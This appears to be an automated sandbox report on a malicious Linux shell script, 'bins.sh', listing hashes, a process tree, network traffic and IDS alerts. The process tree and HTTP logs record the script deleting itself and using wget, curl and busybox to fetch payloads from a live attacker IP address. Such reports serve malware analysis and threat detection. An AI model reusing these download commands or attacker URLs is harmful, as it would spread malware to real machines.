File name: | bins.sh |
Full analysis: | https://app.any.run/tasks/535b0a00-b202-493f-b1e8-4e0e41f48e95 |
Verdict: | Malicious activity |
Analysis date: | January 10, 2025, 18:28:40 |
OS: | Ubuntu 22.04.2 LTS |
MIME: | text/x-shellscript |
File info: | Bourne-Again shell script, ASCII text executable, with very long lines (405) |
MD5: | DA6F190417C76850C3357EFFA8BC0E21 |
SHA1: | 63F340D157530EA637E66BA28F56129DAD5E975A |
SHA256: | 9615FFDDDA795496C21B1419476A36C0BDE05234DEFAF4B49D91833100D173D2 |
SSDEEP: | 192:cHjPfr2oemRCTx8jLbMg4cVkA0bfr2oemBhHjejLbMgG:FGCTx8jLbMg4SkXe8AjLbMgG |
.sh | | | Linux/UNIX shell script (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
38749 | /bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh " | /usr/bin/dash | — | any-guest-agent |
User: root Integrity Level: UNKNOWN Exit code: 256 | ||||
38750 | sudo chown user /tmp/bins.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38751 | chown user /tmp/bins.sh | /usr/bin/chown | — | sudo |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38752 | chmod +x /tmp/bins.sh | /usr/bin/chmod | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
38753 | sudo -iu user /tmp/bins.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 256 | ||||
38754 | /bin/bash /tmp/bins.sh | /usr/bin/bash | — | sudo |
User: user Integrity Level: UNKNOWN Exit code: 256 | ||||
38755 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
38756 | /bin/rm bins.sh | /usr/bin/rm | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 256 | ||||
38757 | wget http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7 | /usr/bin/wget | bash | |
User: user Integrity Level: UNKNOWN Exit code: 2048 | ||||
38758 | curl -O http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7 | /snap/snapd/20290/usr/bin/snap | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 185.125.190.49:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
— | — | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7 | unknown | — | — | — |
38904 | wget | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/SgHXF4aTA7biwfOeMWCHhAPxE4GHKE4zR2 | unknown | — | — | — |
38757 | wget | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7 | unknown | — | — | — |
38837 | busybox | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/XpkmTcEXzn7DlncYwyAbeJoDWZmVbosj06 | unknown | — | — | — |
— | — | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/XpkmTcEXzn7DlncYwyAbeJoDWZmVbosj06 | unknown | — | — | — |
38937 | wget | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/fKWJNBmhYVFoZG3OcgnfbvCwarLZT2Mn9U | unknown | — | — | — |
38872 | wget | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/93XWU815uZAJp64BK2U8kjagDNvgOFOdNy | unknown | — | — | — |
38800 | busybox | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7 | unknown | — | — | — |
38899 | busybox | GET | 404 | 94.154.35.94:80 | http://94.154.35.94/bins/93XWU815uZAJp64BK2U8kjagDNvgOFOdNy | unknown | — | — | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 185.125.190.49:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 212.102.56.179:443 | odrs.gnome.org | Datacamp Limited | DE | whitelisted |
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
512 | snapd | 185.125.188.55:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.59:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
38757 | wget | 94.154.35.94:80 | — | WINDSTREAM | US | unknown |
— | — | 94.154.35.94:80 | — | WINDSTREAM | US | unknown |
38800 | busybox | 94.154.35.94:80 | — | WINDSTREAM | US | unknown |
38810 | wget | 94.154.35.94:80 | — | WINDSTREAM | US | unknown |
38837 | busybox | 94.154.35.94:80 | — | WINDSTREAM | US | unknown |
Domain | IP | Reputation |
---|---|---|
google.com |
| whitelisted |
connectivity-check.ubuntu.com |
| whitelisted |
odrs.gnome.org |
| whitelisted |
api.snapcraft.io |
| whitelisted |
34.100.168.192.in-addr.arpa |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
— | — | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |